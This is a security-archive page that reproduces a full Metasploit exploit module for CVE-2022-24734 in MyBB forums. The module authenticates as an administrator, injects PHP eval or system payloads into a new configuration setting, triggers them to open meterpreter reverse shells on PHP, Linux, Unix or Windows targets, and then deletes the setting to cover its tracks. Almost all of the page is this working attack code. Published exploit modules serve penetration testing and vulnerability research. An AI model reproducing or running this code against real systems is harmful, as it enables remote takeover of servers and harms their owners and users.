exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB Admin Control Remote Code Execution

MyBB Admin Control Remote Code Execution
Posted May 31, 2022
Authored by Christophe de la Fuente, Altelus, Cillian Collins | Site metasploit.com

This Metasploit module exploits an improper input validation vulnerability in MyBB versions prior to 1.8.30 to execute arbitrary code in the context of the user running the application. The MyBB Admin Control setting page calls the PHP eval function with unsanitized user input. The exploit adds a new setting, injecting the payload in the vulnerable field, and triggers its execution with a second request. Finally, it takes care of cleaning up and removes the setting. Note that authentication is required for this exploit to work and the account must have rights to add or update settings (typically, the myBB administrator role).

tags | exploit, arbitrary, php
advisories | CVE-2022-24734
SHA-256 | b59589e32d8e76fd8a874fc6ea8f9b40d067ee43017c9072165e2a8ca889d7de

MyBB Admin Control Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MyBB Admin Control Code Injection RCE',
'Description' => %q{
This exploit module leverages an improper input validation
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
the context of the user running the application.

MyBB Admin Control setting page calls PHP `eval` function with an
unsanitized user input. The exploit adds a new setting, injecting the
payload in the vulnerable field, and triggers its execution with a
second request. Finally, it takes care of cleaning up and removes the
setting.

Note that authentication is required for this exploit to work and the
account must have rights to add or update settings (typically, myBB
administrator role).
},
'License' => MSF_LICENSE,
'Author' => [
'Cillian Collins', # vulnerability research
'Altelus', # original PoC
'Christophe De La Fuente' # MSF module
],
'References' => [
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
[ 'CVE', '2022-24734']
],
'Platform' => %w[php unix linux win],
'Privileged' => false,
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
'Type' => :in_memory
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :dropper
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Windows (Dropper)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
}
]
],
'DisclosureDate' => '2022-03-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'intcheck' => 1 }
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
unless res.body.include?('MYBB')
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
end

print_good("MyBB forum found running at #{target_uri.path}")

return CheckCode::Detected
end

def login
vprint_status('Attempting login')

cookie_jar.cleanup(true)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'do' => 'login'
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
end

print_good('Login successful!')
end

def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
req_hash = {
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => method,
'vars_get' => {
'module' => 'config-settings',
'action' => action
}.merge(vars_get)
}
req_hash['vars_post'] = vars_post unless vars_post.blank?
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
if check_response && res.nil?
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
end
res
end

def exploit
login

res = send_config_settings
if res.body.include?('Access Denied')
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
end

vprint_status('Adding a malicious settings')
doc = res.get_html_document
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text

case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end

def send_payload(cmd)
vprint_status('Adding a crafted configuration setting entry with the payload')

cmd = cmd.gsub(/\\/, '\\' => '\\\\')
cmd = cmd.gsub(/"/, '"' => '\\"')
cmd = cmd.gsub(/\$/, '$' => '\\$')

case target['Platform']
when 'php'
extra = "\" . eval(\"#{cmd}\") .\""
when 'win'
if target['Arch'] == ARCH_CMD
# Force cmd to run in the background (only works for `cmd`)
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
else
extra = "\" . system(\"#{cmd}\") .\""
end
else
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
end

post_data = {
my_post_key: @my_post_key,
title: Rex::Text.rand_text_alpha(rand(8...16)),
description: Rex::Text.rand_text_alpha(rand(8...16)),
gid: 1,
disporder: '',
name: Rex::Text.rand_text_alpha(rand(8...16)),
type: "\tphp",
extra: extra,
value: Rex::Text.rand_text_alpha(rand(8...16))
}

res = send_config_settings(method: 'POST', vars_post: post_data)
unless res.code == 302
doc = res.get_html_document
err = doc.xpath('//div[@class="error"]').text
fail_with(Failure::Unknown,
"#{peer} - The module expected a 302 response but received: "\
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
end

vprint_good('Payload successfully sent')
end

def trigger_payload
vprint_status('Triggering the payload execution')
# We're not expecting response to this query
send_config_settings(action: 'change', check_response: false)
end

def remove_setting
vprint_status('Removing the configuration setting')

vprint_status('Grab the delete parameters')
res = send_config_settings(action: 'manage')
if res.body.include?('<title>MyBB Control Panel - Login</title>')
# this exploit seems to logout users sometimes, so, try to login again and retry
print_status('User session is not valid anymore. Trying to login again to cleanup')
login
res = send_config_settings(action: 'manage')
end

doc = res.get_html_document
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
uri = control_links.detect do |href|
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
end
if uri.nil?
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
return
end

vprint_status('Send the delete request')
params = uri.text.split('?')[1]
get_data = CGI.parse(params).transform_values(&:join)
send_config_settings(method: 'POST', vars_get: get_data)
end

def execute_command(cmd, _opt = {})
send_payload(cmd)
trigger_payload
remove_setting
print_status('Shell incoming...')
end
end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close